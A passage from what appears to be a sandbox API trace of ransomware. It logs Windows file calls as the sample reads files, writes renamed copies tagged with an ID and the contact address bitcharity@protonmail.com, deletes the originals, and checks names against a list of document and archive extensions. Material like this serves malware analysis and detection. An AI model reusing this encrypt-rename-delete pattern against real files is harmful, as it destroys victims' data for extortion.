dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.494] SetEndOfFile (hFile=0x1034) returned 1 [0129.495] CloseHandle (hObject=0x1034) returned 1 [0129.495] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.495] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0129.495] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.495] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.496] lstrlenW (lpString=".doc") returned 4 [0129.496] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.496] lstrlenW (lpString=".docx") returned 5 [0129.496] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0129.496] lstrlenW (lpString=".pdf") returned 4 [0129.496] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.496] lstrlenW (lpString=".xls") returned 4 [0129.496] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.496] lstrlenW (lpString=".xlsx") returned 5 [0129.496] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0129.496] lstrlenW (lpString=".ppt") returned 4 [0129.496] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.496] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.496] lstrlenW (lpString=".zip") returned 4 [0129.496] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.496] lstrlenW (lpString=".rar") returned 4 [0129.496] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.496] lstrlenW (lpString=".bz2") returned 4 [0129.496] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.496] lstrlenW (lpString=".7z") returned 3 [0129.496] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.496] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.496] lstrlenW (lpString=".dbf") returned 4 [0129.496] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.496] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.496] lstrlenW (lpString=".1cd") returned 4 [0129.496] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.497] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.497] lstrlenW (lpString=".jpg") returned 4 [0129.497] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.497] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.497] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.497] lstrlenW (lpString=".doc") returned 4 [0129.497] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.497] lstrlenW (lpString=".docx") returned 5 [0129.497] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0129.497] lstrlenW (lpString=".pdf") returned 4 [0129.497] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.497] lstrlenW (lpString=".xls") returned 4 [0129.497] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.497] lstrlenW (lpString=".xlsx") returned 5 [0129.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0129.497] lstrlenW (lpString=".ppt") returned 4 [0129.497] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.497] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.497] lstrlenW (lpString=".zip") returned 4 [0129.497] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.497] lstrlenW (lpString=".rar") returned 4 [0129.497] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.497] lstrlenW (lpString=".bz2") returned 4 [0129.497] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.497] lstrlenW (lpString=".7z") returned 3 [0129.497] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.497] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.498] lstrlenW (lpString=".dbf") returned 4 [0129.498] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.498] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.498] lstrlenW (lpString=".1cd") returned 4 [0129.498] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.498] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0129.498] lstrlenW (lpString=".jpg") returned 4 [0129.498] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.498] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0129.498] lstrlenW (lpString="desktop.ini") returned 11 [0129.498] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1034 [0129.498] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=129) returned 1 [0129.498] CloseHandle (hObject=0x1034) returned 1 [0129.498] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0129.499] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.499] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1034 [0129.499] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.499] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.499] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x106c [0130.066] GetLastError () returned 0x0 [0130.066] ReadFile (in: hFile=0x1034, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x81, lpOverlapped=0x0) returned 1 [0130.068] WriteFile (in: hFile=0x106c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x90, lpOverlapped=0x0) returned 1 [0130.069] ReadFile (in: hFile=0x1034, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.069] WriteFile (in: hFile=0x106c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xea, lpOverlapped=0x0) returned 1 [0130.069] SetEndOfFile (hFile=0x106c) returned 1 [0130.069] CloseHandle (hObject=0x106c) returned 1 [0130.077] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.077] SetEndOfFile (hFile=0x1034) returned 1 [0130.078] CloseHandle (hObject=0x1034) returned 1 [0130.078] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0130.079] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0130.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.079] lstrlenW (lpString=".doc") returned 4 [0130.079] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0130.079] lstrlenW (lpString=".docx") returned 5 [0130.079] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0130.079] lstrlenW (lpString=".pdf") returned 4 [0130.079] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0130.079] lstrlenW (lpString=".xls") returned 4 [0130.079] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0130.079] lstrlenW (lpString=".xlsx") returned 5 [0130.079] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0130.079] lstrlenW (lpString=".ppt") returned 4 [0130.079] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0130.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.079] lstrlenW (lpString=".zip") returned 4 [0130.079] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0130.079] lstrlenW (lpString=".rar") returned 4 [0130.079] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0130.080] lstrlenW (lpString=".bz2") returned 4 [0130.080] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0130.080] lstrlenW (lpString=".7z") returned 3 [0130.080] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0130.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.080] lstrlenW (lpString=".dbf") returned 4 [0130.080] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0130.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.080] lstrlenW (lpString=".1cd") returned 4 [0130.080] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0130.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.080] lstrlenW (lpString=".jpg") returned 4 [0130.080] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0130.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.080] lstrlenW (lpString=".doc") returned 4 [0130.080] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0130.080] lstrlenW (lpString=".docx") returned 5 [0130.080] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0130.080] lstrlenW (lpString=".pdf") returned 4 [0130.080] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0130.080] lstrlenW (lpString=".xls") returned 4 [0130.080] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0130.080] lstrlenW (lpString=".xlsx") returned 5 [0130.080] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0130.080] lstrlenW (lpString=".ppt") returned 4 [0130.080] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0130.081] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.081] lstrlenW (lpString=".zip") returned 4 [0130.081] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0130.081] lstrlenW (lpString=".rar") returned 4 [0130.081] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0130.081] lstrlenW (lpString=".bz2") returned 4 [0130.081] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0130.081] lstrlenW (lpString=".7z") returned 3 [0130.081] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0130.081] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.081] lstrlenW (lpString=".dbf") returned 4 [0130.081] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0130.081] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.081] lstrlenW (lpString=".1cd") returned 4 [0130.081] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0130.081] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0130.081] lstrlenW (lpString=".jpg") returned 4 [0130.081] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0130.081] Sleep (dwMilliseconds=0x64) [0130.233] Sleep (dwMilliseconds=0x64) [0130.405] Sleep (dwMilliseconds=0x64) [0130.532] Sleep (dwMilliseconds=0x64) [0130.650] Sleep (dwMilliseconds=0x64) [0130.805] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.272] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0131.272] lstrlenW (lpString="LocalizedData.xml") returned 17 [0131.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.289] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=74214) returned 1 [0131.289] CloseHandle (hObject=0x10a0) returned 1 [0131.289] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0131.289] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.289] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.289] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.289] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.289] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0131.289] GetLastError () returned 0x0 [0131.289] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x121e6, lpOverlapped=0x0) returned 1 [0131.436] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x121f0, lpOverlapped=0x0) returned 1 [0131.438] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.438] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0131.438] SetEndOfFile (hFile=0x10a4) returned 1 [0131.438] CloseHandle (hObject=0x10a4) returned 1 [0131.440] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.440] SetEndOfFile (hFile=0x10a0) returned 1 [0131.442] CloseHandle (hObject=0x10a0) returned 1 [0131.442] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.442] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString=".doc") returned 4 [0131.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString=".docx") returned 5 [0131.443] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.443] lstrlenW (lpString=".pdf") returned 4 [0131.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString=".xls") returned 4 [0131.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString=".xlsx") returned 5 [0131.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.443] lstrlenW (lpString=".ppt") returned 4 [0131.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString=".zip") returned 4 [0131.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.443] lstrlenW (lpString=".rar") returned 4 [0131.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString=".bz2") returned 4 [0131.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString=".7z") returned 3 [0131.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString=".dbf") returned 4 [0131.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString=".1cd") returned 4 [0131.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.443] lstrlenW (lpString=".jpg") returned 4 [0131.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.444] lstrlenW (lpString=".doc") returned 4 [0131.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString=".docx") returned 5 [0131.444] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.444] lstrlenW (lpString=".pdf") returned 4 [0131.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString=".xls") returned 4 [0131.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString=".xlsx") returned 5 [0131.444] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.444] lstrlenW (lpString=".ppt") returned 4 [0131.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.444] lstrlenW (lpString=".zip") returned 4 [0131.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.444] lstrlenW (lpString=".rar") returned 4 [0131.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString=".bz2") returned 4 [0131.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString=".7z") returned 3 [0131.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.444] lstrlenW (lpString=".dbf") returned 4 [0131.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.444] lstrlenW (lpString=".1cd") returned 4 [0131.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0131.445] lstrlenW (lpString=".jpg") returned 4 [0131.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.445] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0131.445] lstrlenW (lpString="LocalizedData.xml") returned 17 [0131.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.445] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=80970) returned 1 [0131.445] CloseHandle (hObject=0x10a0) returned 1 [0131.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0131.445] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.445] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.445] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.446] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0131.446] GetLastError () returned 0x0 [0131.446] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0131.977] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13c50, lpOverlapped=0x0) returned 1 [0131.979] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.979] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0131.979] SetEndOfFile (hFile=0x10a4) returned 1 [0131.979] CloseHandle (hObject=0x10a4) returned 1 [0131.982] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.982] SetEndOfFile (hFile=0x10a0) returned 1 [0131.984] CloseHandle (hObject=0x10a0) returned 1 [0131.984] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.985] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0131.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.985] lstrlenW (lpString=".doc") returned 4 [0131.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.985] lstrlenW (lpString=".docx") returned 5 [0131.985] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.985] lstrlenW (lpString=".pdf") returned 4 [0131.985] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.985] lstrlenW (lpString=".xls") returned 4 [0131.985] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.985] lstrlenW (lpString=".xlsx") returned 5 [0131.985] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.985] lstrlenW (lpString=".ppt") returned 4 [0131.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString=".zip") returned 4 [0131.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.986] lstrlenW (lpString=".rar") returned 4 [0131.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString=".bz2") returned 4 [0131.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString=".7z") returned 3 [0131.986] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString=".dbf") returned 4 [0131.986] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 